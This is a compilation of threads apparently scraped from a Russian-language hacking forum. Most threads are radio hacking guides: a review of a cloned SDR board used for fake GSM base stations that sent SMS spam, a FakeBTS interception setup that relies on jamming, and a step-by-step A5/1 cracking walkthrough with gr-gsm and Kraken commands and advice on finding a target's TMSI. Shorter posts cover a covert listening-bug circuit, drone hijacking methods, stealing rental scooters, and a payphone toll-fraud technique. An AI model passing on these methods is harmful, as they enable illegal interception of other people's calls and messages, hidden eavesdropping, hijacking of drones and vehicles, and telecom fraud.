5.pngСобственно - причем тут уран и китайцы? А все очень просто. Когда им понадобилось сделать 1500шт+ базовых станций - стало ясно, что использовать "оригинальные" USRP для данной задачи - слишком дорого, да и не выпускают их в таком количестве. Поэтому умельцы быстренько скопировали схемотехнику самого старого, простейшего USRP1 и развернули производство этих плат. Так появился URAN-1 , на основе которого и были собраны те тысячи 2G базовых станций, трудившихся на службе грамотных людей, осознавших всю силу GSMа. Собственно, остатки "былой роскоши" после закрытия производств - просочились на ebay в виде всяких URANов, SRAD и прочих поделий.

s-l16002.jpg

Фактически - данный девайс - ни что иное как SDR приемопередатчик, полностью совместимый на уровне драйверов с USRP1 (не путать с usrp b200x - это другая история!) и адаптированный к применению в виде бюджетной 2G базовой станции для рассылки спама. В качестве тактового генератора - изначально установлен правильный термокомпенсированный кварц на 52 МГц (у оригинального usrp кварц приходится менять, он там на другую частоту- 64МГц). Каналы TX-RX разнесены на отдельные тракты и разъемы, что облегчает сопряжение платы с усилителем. С выходной мощностью не жадничали - полватта, и похоже что в компактном варианте для скутеристов внешнего усилителя вовсе не было. К "автомобильной" же системе подключался некий доп.модуль на 10...20Вт выходной мощности и дуплексер для объединения RX/TX трактов на одну антенну.

s-l1600.jpg

Конструкция предельно проста. Линейный стабилизатор напряжения 5V. ЛИНЕЙНЫЙ! Поэтому он сильно греется и на вход больше 6в подавать нельзя. Микросхема USB 2.0 драйвера. ПЛИСина Altera - печально что не мой любимый Xilinx. JTAG похоже что не выведен, но ПЛИСка шьется через USB, и прошивки для нее есть в интернете. В верилог я не лазил, не хочу заморачиваться с установкой среды разработки под Альтеры, поэтому про возможности прошивки ПЛИС - ничего сказать не могу.
К FPGA подключен фронтенд AD9860 - это SDR , обеспечивающий 8МГц ширину полосы при разрешении 14 бит. Китайцы в спецификации обещают 16 бит, но как всегда - чуда не произошло.
Дальше все по классике USRP. Приемный тракт - квадратурный демодулятор прямого преобразования AD9347, малошумящий усилитель, полосовой фильтр на GSM диапазон.
Передающий тракт - квадратурный модулятор AD8349, синтезатор частоты ADF7360**-3 (важный момент!)** , усилитель RFMD RF3315 - выдающий 0.5вт ВЧ мощности.

Отдельно остановлюсь на нюансе с квадратурным модулятором AD8349 . Дело в том, что они есть разные - AD8349**-1** , AD8349**-2** и так далее. Отличие - рабочая частота. "Троечка" работает в диапазоне от 1600МГц до 1950МГц, то есть как раз закрывает бенд GSM1800.
Логично, что ни на каком другом диапазоне данная плата работать не может. Именно поэтому - при заказе ее с ebay, нужно обязательно указывать, в каком диапазоне вы планируете ее использовать! И ОБЯЗАТЕЛЬНО написать продавцу желаемую частоту.
На плате под 900мгц запаян AD8349**-7** , а в версии 1800МГц AD8349-3 . Почему и зачем так - совершенно не понимаю. Бессмысленно и беспощадно, учитывая что в даташите на AD8349-3 указано - можно включить делитель на 2 и получить заветный 900МГц бенд. Для тестов я себе заказал как раз вариант под 1800, т.к. есть вероятность что подхачив прошивку плисины можно включить режим синтезатора для деления частоты на 2 - и получить возможность работы во всех диапазонах сразу: 1800/900. Но честно сказать мне этим заниматься дико лень, учитывая тот факт что используется альтера :(
ВЧ часть закрыта добротным литым из алюминия экранирующим кожухом, и оканчивается двумя SMA разъемами. RX и TX соответственно. Плата очень "дубовая" и простая, если что-то сгорит ее элементарно можно отремонтировать, не обладая особыми навыками пайки и даже без микроскопа. Тут нет такой мелочи типа как коммутаторы у HackRFа - все компоненты довольно крупные и с небольшим количеством ног.

Экран для зоны с кварцевым генератором отсутствует. Думаю что если использовать плату в сочетании с внешнем усилителем - экран придется делать самостоятельно, или помещать всю плату целиком в металлический корпус. TCXO- кварц имеет дырочку под отвертку, там нечто переменное (резистор или конденсатор, не всматривался) - вращая его можно подстроить частоту. Конечно, только в том случае - если у Вас завалялся рубидиевый эталон частоты. Если эталона нет - не надо нарушать девственность китайской голограммы, в попытках дефлорировать кварц отверткой. Собьете частоту - софт работать будет, но половина телефонов на БСку не захочет подключаться т.к. вся сетка частот у нее "съедет".
На фото - подобный кварцевый генератор, разобранный. И с голограммой, защищающей регулировочный винт.
tcxo.png tcxo2.png

bts.pngДля рассылки спама изначально китайцами использовался модифицированный софт OpenBTS , отголоски этого проекта до сих пор лежат в виде предварительно собранной виртуальной машины на сайте http://kb.iplinkme.com/
Там же есть схемы платы URAN1, т.е. при большом желании ее можно собрать самостоятельно - только стоить это рукоблудие будет намного дороже чем 100$. Проще купить готовую.
Про OpenBTS я подробно писать не буду - обычный эмулятор инфраструктуры оператора, начиная от HLR и заканчивая BSC-BTS-TRX, так называемая NITB - Network In The Box, "сотовая сеть в одной коробке".

В целом OpenBTS нормально заработал прямо из "китайской" виртуальной машины, на телефоне появилась тестовая сеть и при аттаче к ней пришла welcome SMS от iplinkme. А дальше меня ждало разочарование. Дело в том - OpenBTS весьма вяло поддерживается, в нем нет современных стандартов - и исторически сложилось так, что во всех своих проектах я использую довольно сильно модифицированные версии Osmocom - OsmoBTS/ osmobsc-openbsc . И тут возник облом. Да, софт с названием transceiver52M у Осмокома действительно есть. И вроде даже когда-то он работал с USRP1, для чего нужно ставить отдельные драйвера и собирать отдельную версию TRXа.
Я все это осуществил, но... китайский клон так и не заработал с Осмокомом. А может в самом осмокоме что-то поломали и совместимости со старыми usrp уже нет. К сожалению, за неимением оригинального usrp1 я не смог это проверить.
Решение было простым . BTS к BSC коннектится через A-bis же, все верно? И в осмокоме, и в опенбтс, и у "взрослых" операторов. Соответственно, пусть BTS и TRX остаются китайскими на openbts, а к ним через abis законнекчу осмокомовский BSC и все вокруг него (ggsn/sgsn, hlr и прочее). И это сработало!
Получается, что достаточно из виртуалки с openbts прокинуть бридж с портами BTS-TRX к виртуалке с осмокомом, прописать эти ip адреса и порты в конфиги осмокома - и не запускать осмокомовский TRX. И все работает.

Вот такой забавный девайс был совершенно случайно найден на ebay. Могу ли я его рекомендовать к приобретению? Для новичков - к сожалению, нет.
Потому как - с одной стороны вроде все работает, и даже вирт.машина готовая есть - а с другой стороны, для поддержки современных стандартов и телефонов, нужен некий секас с сопряжением ОпенБТС + Осмоком, что явно для тех кто уже знает толк...
Тем не менее, это довольно занятная плата, поддерживающая режим полного дуплекса. Ее можно использовать для расширения количества каналов в уже существующей инфраструктуре, или для каких-то более экзотических экспериментов с сотовой связью. Кстати, плата определяется в GnuRadio и вполне нормально работает.

Радиохакинг ч.2 «FakeBTS»
ID: 676535aeb4103b69df373646
Thread ID: 27025
Created: 2018-12-25T15:32:26+0000
Last Post: 2021-07-27T17:03:20+0000
Author: utrom
Prefix: GSM
Replies: 21 Views: 11K

Перехват трафика сотовой сети с помощью подменной Базовой Станции (FakeBTS), OpenBTS, YateBTS.

_«Радио уничтожило расстояние и соединило невидимой, но крепкой связью все корабли и все города земли.
Потом оно охватило поезда, автомобили и аэропланы… Потом оно вошло в дома.
Оно вошло учителем, другом, справочником, газетой и музыкальным инструментом.
Сейчас оно вносит в дома кинематограф, скоро сумеет вырваться за пределы земного шара, и создаст тысячи вещей, которых мы даже не можем предугадать.»_​

(с) С. А. Колбасьев

Введение

Пока писал первую статью вспомнил про сложности реализации данной атаки :smile80: и совершенно не полную картину происходящего и решил сразу же написать вторую часть. Так что за сложности? А дело в том, что в наших суровых реалиях, нужно будет находиться близко к цели и использовать Jammer (глушилку) что бы приглушить 2/3/4G и телефон упал в GSM сам для профита. Как минимум к оборудованию еще понадобятся яйца :smile83: или ~~группа лиц по предварительному сговору~~ несколько человек :smile43::smile43::smile43:.

У китайцев огромной популярностью пользуются подменные БС для рассылки SMS- спама, но как вы должны понимать, этим функции не ограничиваются.

Зато в свободной продаже всякие приколюшки связанные с GSM протоколом, по той простой причине, что вышки в Китае уже давно работают на 2G минимум.

… Так вот с БС все куда проще. Сотовая связь устроена так, что устройство будет подхватывать самый мощный сигнал вышки и, если приглушить на короткое время девайс, или вышку полностью (в реализации интереснее, не нужно быть очень близко), тогда абонент перейдет под ваш контроль с нужным вам шифрованием (A5/1) или вовсе без него (А5/0) :smile15:

Информации опять же очень много в свободном доступе, но приходится «додумывать» на ходу, кто-то найдет для себя что-то новое. Опишу самый короткий путь реализации данной атаки.

Немного повторюсь:

Все действия необходимо проводить только в своей сети со своими абонентами!

:smile6:Перехват чужих переговоров и СМС являются нарушением закона!:smile81:

Подбор железа

Тут все не так однозначно как по цене, так и по сути работы SDR.
Необходим Full-Duplex по той простой причине что трубка обменивается данными аутентификации и регистрируется в БС (получает TMSI , соотносит с номером абонента и т.д. т.п.).
Устройства типа HackRF - Half-Duplex не подойдут. Они работают только в режиме приема, либо передачи.

Сам Майкл Осман(создатель) о переделке HackRF в полный дуплекс:
«If you were to try to redesign the RF section on HackRF One to support full- duplex, the main thing to focus on would be the MAX2837 (intermediate frequency transceiver). This part is half-duplex, so you would either need two of them or you would have to redesign the RF section to use something other than the MAX2837, likely resulting in a radically different design. If you used two MAX2837s you might be able to use one RFFC5071 instead of two RFFC5072s.»

Кратко - все в устройстве кроме питания (необходим дополнительный блок), программной части и трансивера MAX2837 поддерживают такой апгрейд. В твиттере Османа есть схема full-duplex. Попробую обязательно напишу результат :smile17:

Самый простой и дешевый, очень популярный девайс - два телефона Motorola с123/с113/с118
В статье я упущу материал по установке и настройке сославшись на блог Pentestit на Хабре с полнейшим мануалом - https://habr.com/company/pentestit/blog/331406/
c123_phones.png

И покажу вам другу сторону данного телефона, это сканер-помощник поиска ARFCN :smile63:. Отличная вещь!
scanner.jpg

И уже полноценный SDR, приемлемый по цене и функционалу – BladeRF (~400$)
f97310466a66f829ee1f0787d8c51c6a (1).jpg
... замаскированнный под принтер :smile76:

По качеству исполнения есть устройство превосходящее -LimeSDR (~40-60 т.р) Есть версия Mini, а есть и полноценная - два канала на прием и два на передачу. Шикарно то что выходит вообще за область бытия и просиживания задницы на стуле… из Lime возможно сделать, доплеровский радар. Вам однозначно не будет скучно c SDR.
LimeSDR-SDR-priyomoperedatchik-za-249.jpg

Полноценные по ширине канала от Fairwaves :
UmTRX Price: $950.00

Детище Ettus Research:
USRP B210 Price: $1216.00
USRP B200 Price: $745.00

Но у UmTRX есть преимущества:

Или готовая БС - UmDesk Price: $3,000 (на базе того же UmTRX). Системный блок с платой UmTRX и предустановленной OpenBTS. Кароче найдите куда потратить деньги лучше :smile33:

Установка, конфигурация, запуск

Опишу общие принципы работы, все остальное поковырять самому и прочесть предлагающиеся мануалы ниже. Подробно пошаговые инструкции по установке. Самое главное на что нужно обратить внимание:

Что то в духе того:

Code:Copy to clipboard

/etc/asterisk/iax.conf

[VoicePulse]
type=peer
host=server.example.voicepulse.com
username=SomeuSer
secret=PaSsWorD

Code:Copy to clipboard

/etc/asterisk/sip.conf

[sipuser]
type=peer
host=dynamic
username=allan
secret=1234
context=outgoing

Code:Copy to clipboard

[outgoing]
exten => _1NXXNXXXXXX,1,SetCallerID(2024561111)
exten => _1NXXNXXXXXX,n,Dial(IAX2/VoicePulse/${EXTEN})

Что использовать:
YateBTS
https://wiki.yatebts.com/index.php/Installing - полноценный мануал по установке.
https://wiki.yatebts.com/index.php/Network_in_a_PC - настройка, веб- морда(!), asterisk, sip-транки.
и приятно выглядит.
800px-Outgoingparameters.png

OpenBTS – онли консоль.
https://github.com/RangeNetworks/dev/wiki
http://openbts.org/wiki/

OsmoBTS – тут все еще жестче, но стабильнее всего.
https://osmocom.org/projects/osmobts/wiki/Wiki

Заключение

Про сотовую связь на этом все :smile79:. Про SS7 упоминать не буду, так как лично не сталкивался. В следующий части мы опустимся на низкие частоты и поговорим про анализатор спектра, жучки и их поиск, рации спецслужб (псс и даже тех самых служб:smile47:).

См. Радиохакинг ч.1 «GSM»

Данная статья ни призывает к противоправным действиям, а написана в целях обеспечения личной безопастности и указания на очевидные дыры в организации сотовых сетей.

Простой жучок
ID: 676535aeb4103b69df3736fe
Thread ID: 383
Created: 2005-03-25T01:30:50+0000
Last Post: 2005-12-05T01:20:42+0000
Author: AKella
Replies: 24 Views: 11K

L1 - 5-6 витков на оправке 4 мм. L2 - 4-5 витков внутри или поверх L1. Провод 0.5 мм. Рекомендую поэкспериментировать с соотношением витков и расположением катушек.

Транзистор КТ368 или КТ3102, микрофон от импортного телефона, магнитофона. Обычно схема работает сразу после включения. В любом случае рекомендую померить напряжение на базе транзистора высокоомным вольтметром, - оно должно быть порядка 1,1-1,2 В. Если же оно другое, то надо подобрать сопротивление R1 пока не будет все как надо.

Иногда возникающие проблемы обусловлены тем, что микрофоны изготовляемые разными фирмами отличаются сопротивлением ( 1.1 кОм примерно). Если большая выходная мощность не требуется, можно увеличить R2 до 200 Ом. В этом случае потр**ляемый ток составит около 7 mA , а это примерно 100-150 часов работы от батарейки "крона".

Можно применять и другие микрофоны например "Сосна" или МКЭ333, а также запитывать микропередатчик от 3- 5 В, но в этом случае придется изменять сопротивление R1 так, чтобы напряжение смещения на базе транзистора было порядка1.1-1.2 В.

Как только спаяете - скажите!

Уязвимости дронов (коптеров), софт, и все на эту тему
ID: 676535aeb4103b69df373551
Thread ID: 79188
Created: 2023-01-03T16:18:09+0000
Last Post: 2024-09-30T23:09:46+0000
Author: jsaw
Replies: 63 Views: 10K

Не уверен что выбран правильный раздел, если что модератор перемести пожалуйста в более подходящую.

Интересуюсь такой темой как перехват/подавление каналов связи с воздушными дронами. Нуб в этой теме, вот все что на текущее время удалось понять. Все что сказано далее не есть 100% инфа, а просто компиляция мнений из сети. Буду рад поправкам и уточнениям.

Для перехвата дронов используется три с половиной основных способа: взлом канала WiFi с WEP-шифрованием (обычным aircrack-ng), подмена сигнала GPS, спуфинг протокола MavLink, подавление радиоканала помехами.

Первый способ подходит для дронов, в которых используется управление через Wifi. Не знаю является ли выбор WEP намеренным ослаблением защиты, или же причина в скорости шифрования на малых вычислительных ресурсах, но вот такой факт нашел. Методик взлома WEP полно в сети и тут их опускаю.

Способ с подменой GPS прост логически, но для этого используется сложная аппаратура. Продвинутые дроны используют информацию GPS для полета в большинстве режимов (вроде бы за исключением режима ATTI). В дроне заранее прошит список NFZ - No Fly Zones - бесполетных зон. Спуферы GPS имитируют координаты ближайшего аэропорта. Дрон видит, что он в аэропорту, это бесполетная зона и вот-вот он залетит в турбину боинга. Он немеделенно включает режим приземления.
Тут я сам не до конца понял, связаны ли угоны дронов в сторону Шереметьево и Пулково в Мск/Спб с этой атакой? Потому что одно дело приземление, а другое дело что он еще 10км летит до аэропорта, и при этом выходит из зоны подмены сигнала.

Способ с атакой на протокол MavLink основан на том, что протокол MavLink не шифрован. В нем есть механизм подписи пакетов, но в спецификации протокола (точнее в рекомендации к разработчикам реализации протокола) куча оговорок на режимы и случаи, в которых следует игнорировать кривую подпись. То есть чисто логически, протокол этот беззащитен, и конечно же есть реализации софта для перехвата таких дронов.

Способ с глушением всего и вся логически тоже понятен, просто херачим помехой на нужных частотах (2.4 и 5.8 Ггц).

Это как бы по верхам из того, что удалось нашарить поиском в интернете.
Теперь то, что хотелось бы узнать.

1. Обзор софта для управления дронами и их возможностей.
2. Какие протоколы используются для связи дрона с пультом по радиоканалу, и что у них с криптозащитой и ее стойкостью?
3. Какие атаки еще есть? Как именно происходит угон?
4. Есть ли соответствующий софт?
5. Есть ли анализ по фирменным прошивкам, ну к примеру Мавиков как наиболее популярных на сегодня дронов? что из себя представляет прошивка? есть ли там защита? накрыта ли она ключами?
6. Есть ли сторонние прошивки, или попытки их разработать?

Буду рад любым мнениям и советам. Это попытка разобраться для себя, ничего коммерческого не планируется.
Понимаю что тема для данного форума специфическая, ибо тут все таки больше применение к классическим компьютерам, сетям и их хакингу. Тем не менее, мы уже сейчас живем в интернете вещей, от видеокамер до автомобиля с кучей логов и телеметрии внутри. Возможно, администрации захотелось бы открыть соответствующий подраздел, поскольку это отдельная огромная вселенная, технически сложная и со своей спецификой.

Угон электросамокатов. Технический аспект [Пентестинг]
ID: 676535aeb4103b69df373585
Thread ID: 53456
Created: 2021-06-28T13:41:19+0000
Last Post: 2024-02-22T09:39:34+0000
Author: unbalance
Replies: 77 Views: 10K

понимаю там есть ЖПС передатчик (арендный)
принимаю любые рекомендации
очень интересна эта тематика от фуромчан
какие подводные?

Радиохакинг ч.1 «GSM»
ID: 676535aeb4103b69df373656
Thread ID: 27016
Created: 2018-12-24T11:58:42+0000
Last Post: 2021-06-11T18:00:19+0000
Author: utrom
Prefix: Статья
Replies: 13 Views: 10K

Статья для участия в Конкурсе

Перехват «GSM» трафика с помощью SDR, GNU-Radio, Wireshark, Kraken.

«В фантастических романах главное это было радио.
При нем ожидалось счастье человечества.
Вот радио есть, а счастья нет.»

(с) Илья Ильф, Евгений Петров

Введение

Попытаюсь сразу не согласиться с легендарными советскими писателями о том что «радио есть, а счастья нет». Радио в современном представлении дало нам такие замечательные вещи как – Wi-Fi, сигнализация, рация, GSM, 2/3/4/5G и кучу других G-овно устройств :smile55:, которые в реальном времени вещают на разных частотах и, конечно же, подвержены всевозможным уязвимостям, что не может не делать нас чуточку счастливее :smile94:.

В статье пойдет речь про всеми любимый протокол и «прародитель» сотовой связи – это, конечно, GSM.

Суть темы – уязвимость алгоритма шифрования A5/1 и её эксплуатация. Ходят слухи, что до сих пор используется практически всеми операторами сотовой связи даже в мегаполисах. У МТС изредка проскакивает A5/3. Сам я этого, конечно же, не проверял :smile25:, но доверюсь общедоступному мнению что так и есть, а значит все виды двухфакторной аутентификации(!), разговоры(!), трафик, - подвержены данной атаке.

Есть много информации в открытом доступе на данную тему, но когда начинаешь экспериментировать с нуля, возникает огромное количество вопросов и нестыковок. Еще бы - эти нестыковки начали появляться с самого 2009 года, когда Карстен Нол рассказал миру о проблеме. Стали появляться в сети испорченные билды программ, пропадать таблицы из общего доступа и вообще - «Ассоциация GSM описала планы Нола как незаконные и опровергла». Все дело в том, что для решения данного вопроса требуются нехилые вливания финансов, а операторы, особенно стран ближнего зарубежья и РФ «просвистели» все деньги вместо того что бы вливать их в инфраструктуру как оказалось, а тут еще Яровая со своими ЦОД-ами :smile35:

На написание данной статьи подтолкнул DefCon 21 , Balint Seeber , Karsten Nohl и банальное любопытство :smile92:. Не буду размусоливать долго о работе протоколов, информация направлена на «максимально быстрое включение из коробки».

Минимальные знания для прочтения и усвоения статьи:

Все действия необходимо проводить только в тестовой сети, о которой могу рассказать по желанию форумчан т.к. информации в клирнете более чем предостаточно, но материал будет слишком перенасыщен. Кроме того, подменная БС (базовая станция) является не менее интересным вектором атаки в данном направлении :smile86:.

:smile81:Перехват чужих переговоров и СМС являются нарушением закона!:smile6:

Шаг 1. Подбор железа

На что ловим.Software-defined radio _(SDR) _Программно-определяемое радио - это система радиосвязи, в которой компоненты, которые традиционно применяются в аппаратном обеспечении (например, микшеры, фильтры, усилители, модуляторы / демодуляторы, детекторы и т.д.), вместо этого реализуются с помощью программного обеспечения на персональном компьютере или встроенной системы. Хотя концепция SDR не нова, быстро развивающиеся возможности цифровой электроники делают практическими многие процессы, которые когда-то были возможны только теоретически.

Необходимым программным обеспечением будет - Gnu-Radio. Это очень крутой открытый проект, возможности в котором ограничиваются только вашими знаниями.

Необходимым железом для перехвата пакетов будет любой SDR-комплект. От самого простейшего RTL-SDR «свистка» (~1000 рублей) :
dongle.png

До лютейшего комплекса, который работает в режиме full-duplex - UmTRX Price: $950.00 (и который, кстати, подойдет для организации собственной тестовой сети :smile54:):
LEDs_1.jpg

Или готовая БС которой мне посчастливилось пользоваться UmDesk Price: $3,000 (на базе того же UmTRX):
570293.jpg

«Таскать» такое с собой в кармане не получится, поэтому самым приемлемым портативным вариантом с более широкой полосой пропускания, чем у RTL-SDR будет HackRF One. Цена без кейса ~100$:
maxresdefault.jpg

Есть вот такое интересное решение для апгрейда. PortaPack 220$:
S1130114_final_1024x1024.jpg

Как видим, кейс с дисплеем и регулятором для HackRF. Отлично подойдет для поиска «жучков» и просто как анализатор спектра частот :smile49:. Честно… open-source, но ценник чересчур не демократичный при наличии прямых рук можно сделать дисплей, регулятор, звук отдельно. Частично перекрывается Android смартфоном и SDR-софтом.

Шаг 2. Установка и конфигурация​

Code:Copy to clipboard

sudo apt-get install git

git clone https://github.com/pybombs/pybombs.git

cd pybombs

sudo python setup.py install

sudo pybombs recipes add gr-recipes git+https://github.com/gnuradio/gr-recipes.git

//грузим так называемые «рецепты»
sudo pybombs recipes add gr-etcetera git+https://github.com/gnuradio/gr-etcetera.git

sudo pybombs prefix init /usr/local/ -a gr-gsm

// установка Gr-Gsm крайне долгая процедура ~4 часа. На i3 c 4Gb ОЗУ не установилось вообще. Работаю на i7.
sudo pybombs -p gr-gsm install gr-gsm

sudo ldconfig

Клонируем и компилим git:

Code:Copy to clipboard

git clone https://github.com/joswr1ght/kraken

//есть вариации подбора ключа из радужных таблиц с помощью видеокарты, что происходит немного быстрее, но я делал под процессор
make noati

Code:Copy to clipboard

python ./Behemoth.py /path/to/a51/tables/

и указать ему в качестве параметра папку, со скачанными заранее таблицами.

Шаг 3. Запуск и анализ​

Переходим в каталог с .grc файлами (GNU Radio Companion). Готовая блок схема для корректного получения трафика:

Code:Copy to clipboard

cd /usr/local/src/gr-gsm/apps
//и запускаем
sudo gnuradio-companion grgsm_livemon.grc

//далее запускаем Wireshark «натравленный» на GSM:
sudo wireshark -k -f udp -Y gsmtap -i lo

Тем самым мы можем видеть трафик в real-time.

Для работы в реальных сетях и потребуется любой калькулятор ARFCN, допустим - http://niviuk.free.fr/gsm_band.php

В общем доступе есть списки принадлежности к тому или иному оператору ARFCN которые нужно сопоставить с вашей целью для анализа непосредственно этой частоты.

Как узнать к какому ARFCN подключен абонент? Подумать :smile87: Это не сложно.

Для iPhone 3001#12345#

Для Android ##4636## или ##197328640##

Необходимо выяснить TMSI цели. Самый простой способ – отправка СМС.

Шаг 4. Получение Kc​

Данный пункт в текстовом варианте решил опустить по той причине, что есть информативное видео от Датских коллег. За исключением моментов:

И далее работа с голосом:

Ознакомьтесь со всеми возможностями GR-GSM:
https://github.com/ptrkrysik/gr-gsm/wiki/Usage
https://github.com/ptrkrysik/gr-gsm/wiki/Usage:-Decoding-How-To

Обратите внимание на нижние строки "Decode hopping channels". Этот пункт понадобиться для работы с речью. Во время звонка происходят прыжки между каналами, для улучшения качества связи. Для борьбы с этим пунктом требуется grgsm_channelize.

Настоятельно рекомендую к просмотру канал Датчан!

Заключение​

Это только маленькая вершинка айсберга во всем потоке радиоволн. Есть еще дырявые автосигнализации, обычные сигнализации которые вещают в радио и gsm канале, всевозможные рации служб которые в открытом доступе транслируют персональные данные, наплевав на ФЗ о Защите персональных данных, спутники, RFID, пассивная сборка данных с Wi-Fi и многое другое что вы сможете изучить погрузившись в изучение SDR . Спасибо за внимание :smile60:

Данная статья ни призывает к противоправным действиям, а написана в целях обеспечения личной безопастности и указания на очевидные дыры в организации сотовых сетей.

Подскажите хороший эмулятор Android
ID: 676535aeb4103b69df37367d
Thread ID: 28410
Created: 2019-03-25T18:35:10+0000
Last Post: 2020-08-12T19:03:10+0000
Author: Marcus52
Replies: 26 Views: 10K

Главное стабильно работающий - использую MeMu, не устраивает как работает, очень не надежное решение.
Ищу нечто подобное, самопальные решения конечно в приоритете - но сильно сомневаюсь, личка открыта, ищу диалога по сабжу, спасибо.

Усилитель для модема
ID: 676535aeb4103b69df3736f6
Thread ID: 3583
Created: 2005-04-22T15:00:58+0000
Last Post: 2006-01-28T11:46:06+0000
Author: s3po
Replies: 21 Views: 10K

Схема представляет собой усилитель с положительной обратной связью. Устанавливается на т/ф линию параллельно модему. Усиление 1,5..2 раза. Операционный усилитель DA1 можно использовать любой, учитывая назначение выводов. Использовался 553УД2 в пластмассовом DIP. 3 +Vcc=9...15V, -Vcc=-9...-15V. Т.е. нужен двуполярный источник со средней "землей" (gnd). L1

Настройка.

Если имеется осциллограф, при включенном питании и подключенной т/ф линии (трубка поднята!) проверяется наличие генерации на выводе 10 DA1 при крайнем левом по схеме положении движка R1.

Постеренно увеличивая R1 добиться пропадания генерации. Это положение R1 соответствует некоторому пороговому уровню усиления. Для устойчивости добавить 5..20 % к текущему значению R1.

Все эти операции можно проделать без осциллографа на слух, подключив параллельный аппарат, но нужно будет учитывать дополнительную нагрузку в линии. Окончательное положение R2 - при конкретном коннекте.

Схему чуть позже дам.

Халявные Звонки.
ID: 676535aeb4103b69df373707
Thread ID: 3834
Created: 2005-05-12T05:20:40+0000
Last Post: 2005-10-25T17:57:46+0000
Author: TR1()N!X
Replies: 22 Views: 10K

Hачем с того, как таксофоны определяют стоимость звонка.
1. Если номер, набранный абонентом, начинается на 1,2,3,4,5,9, то таксофон полагает, что это внутригородской звонок, и тарифицирует его по минимальному тарифу (в Питере - 1-я минута - 2 бита, остальное время - 1 бит в минуту). Счетчик включается в двух случаях:
- после проключения разговорного состояния, которое наступает приблизительно через 600-800 ms после снятия трубки вызываемым абонентом.
- при нажатии на клавишу * (это необходимо только на ограниченном числе станций, на которых не происходит переполюсовка при проключении разговорного состояния, из-за чего таксофон не определяет начало разговора; иногда это происходит и на других станциях; на обычнах таксофонах в таких случаях не проваливаются жетоны)
Hа время разговора карточка блокируется в таксофоне, а если ее оттуда вытащить, то соединение немедленно разрушается.
2. Если номер, набранный абонентом, начинается на 0, то таксофон полагает, что это звонок на бесплатную службу. Такой звонок не тарифицируется и карточка не блокируется в таксофоне, так что ее даже можно вынуть из него (или не вставлять ее вообще). При этом через некоторое время после начала набора номера, независимо от количества набранных цифр, Питерские таксофоны гасят индикатор, продолжая при этом набирать все введенные ранее цифры и все, что будет набрано позже. Цифры, набранные после очистки индикатора, остаются на нем до конца разговора.
3. Если абонент набрал 8, то таксофон ждет ввода следующих нескольких цифр, позволяющих ему определить тарифную зону вызываемого абонента, запоминая набираемые цифры в своей памяти (при вызове в другой город это 3 цифры кода, а при международном вызове 10 и код страны). После определения тарифной зоны таксофон либо выдает сообщение об ошибке (при недостатке единиц на карточке) либо начинает набирать введенные цифры и все, что набирается после этого. Hабор всех цифр после 8 происходит только после получения сигнала готовности от междугородней АТС (зуммер 425 Гц).
Во всех случаях набор первой цифры номера происходит только после получения таксофном сигнала готовности от городской АТС. Если после набора первой цифры зуммер не исчезает, то таксофон фиксирует ошибку и прекращает набор номера.
Теперь подумаем о том, как возможно использовать таксофон в нестандартных режимах, позволяющих значительно сократить стоимость телефонного разговора.
Весьма остроумной и подкупающей своей новизной идеей является мысль о инициалицации встроенной системы тарификации ПОСЛЕ набора 8. При этом таксофон начинает анализировать первые цифры кода города или 10 (при международном вызове) как первые цифры городского номера. Для этого предназначена специальная клавиша, позволяющая сбросить набранную на индикаторе информацию. В настоящее время мы располагаем только точной информацией о наличии этой клавиши на питерских карточных таксофонах. При наличии некоторого опыта пользования данными таксофонами, найти ее сможет даже слепой - на ощупь. Она находится немного левее индикатора, на котором отображается информация. Желательно не путать ее с клавишами, расположенными ниже индикатора, и предназначенными для ввода информации. Она отличается цветом (черная), формой (рогатая) и размером (выпирающая). В отличии от остальных клавиш нажатия на нее производятся не перпендикулярно поверхности таксофона, а вдоль нее (сверху-вниз). Она настолько выпирает из таксофона, что обычно на ней висит трубка.
Вы легко можете убедиться в свойствах этой клавиши. Hаберите 8. После этого Вы услышите гудок. Потом повесьте трубку на место. Обратите внимание на то, что набранная Вами информация исчезла (если Вы до сих пор не догадались, совершенно не обязательно вешать трубку, достаточно просто нажать и отпустить магическую клавишу). После этого начинайте набор кода города или 10. Теперь Вы располагаете полной информацией, необходимой для минимизации стоимости междугородных разговоров.
К сожалению, при использовании этого трюка в большинстве случаев соединение с АМТС пропадает (так как это является основной функцией этой клавиши). К еще большему сожалению, при проектировании таксофонов их авторы предусмотрели, что даже при очень коротком нажатии на рычаг линия разрывается на некоторое время, достаточно для надежного разрыва соединения. Hо это не должно Вас останавливать.
Как Вы, несомненно, знаете, в момент срабатывания аппаратуры АОH (наступает после набора цифры 8), и выдачи номера абонента (таксофона) по запросу АМТС, линия абонента на большинстве городских АТС (АТСК и другие) шунтируется на время равное времени выдачи двух безинтервальных пакетов частотных кодом "2 из 6", содержащих номер и категорию вызывающего абонента (в Питере большинство карточных таксофонов имеют категорию 7). Время выдачи, а следовательно и шунтирования таксофонной линии, колеблется от 360 до 720 ms. В момент шунтирования станция не реагирует на любые действия с абонентской линией, в том числе и на разрыв линии. Это сделано для того, чтобы абонент не мог помешать выдаче своего телефонного номера на АМТС. Следовательно в течении выдачи пакета АОH разрыв соединения с АТС невозможен (в течении 360-720 ms).
При кратковременном нажатии на магическую клавишу в момент начала выдачи ответа аппаратурой АОH после набора 8 (начало выдачи определяется по характерному щелчку), таксофон производит разъединение с городской станцией на время около 400 ms и инициализирует систему тарификации. Однако, по вышеуказанным причинам, городская АТС не теряет соединение абонента (таксофона) с АМТС. Выдержав паузу около 400 ms после кратковременного нажатия, таксофон опять подключается к городской линии, но слышит сигнал готовности не городской АТС, а междугородней, т.к. время разъединения линии таксофоном (400 ms) в большинстве случаев оказывается меньше времени шунтирования линии на ГАТС. После этого Вы можете начинать набор кода города (или 10 для выхода на международную связь), что будет воспринято таксофоном как набор городского номера (и оплата ведется по городскому тарифу, разговор с Америкой удешевляется в 107 раз).
Существуют некоторые ньюансы при использовании этого метода:
1. К сожалению, города, коды которых начинаются на 8, таким образом не набираются.
2. Разговор с городами, коды которых начинаются на 0, не тарифицируются вообще. Вы можете вытащить карточку сразу после получения зуммера от АМТС после набора цифры 8. Карточку лучше положить в карман, чтобы не забыть ее в таксофоне после длительного разговора.
3. Hа таксофонах, подключенных к электронным станциям, этот метод не работает вообще. Вы легко обнаружите эту ситуацию, т.к. обычно на таких таксофонах включен тональный набор.
4. Hа ограниченном количестве городских координатных АТС возможен разрыв соединения даже в момент выдачи пакета АОH (например питерские АТС 272, 273, 481). Hа таких АТС метод не работает.
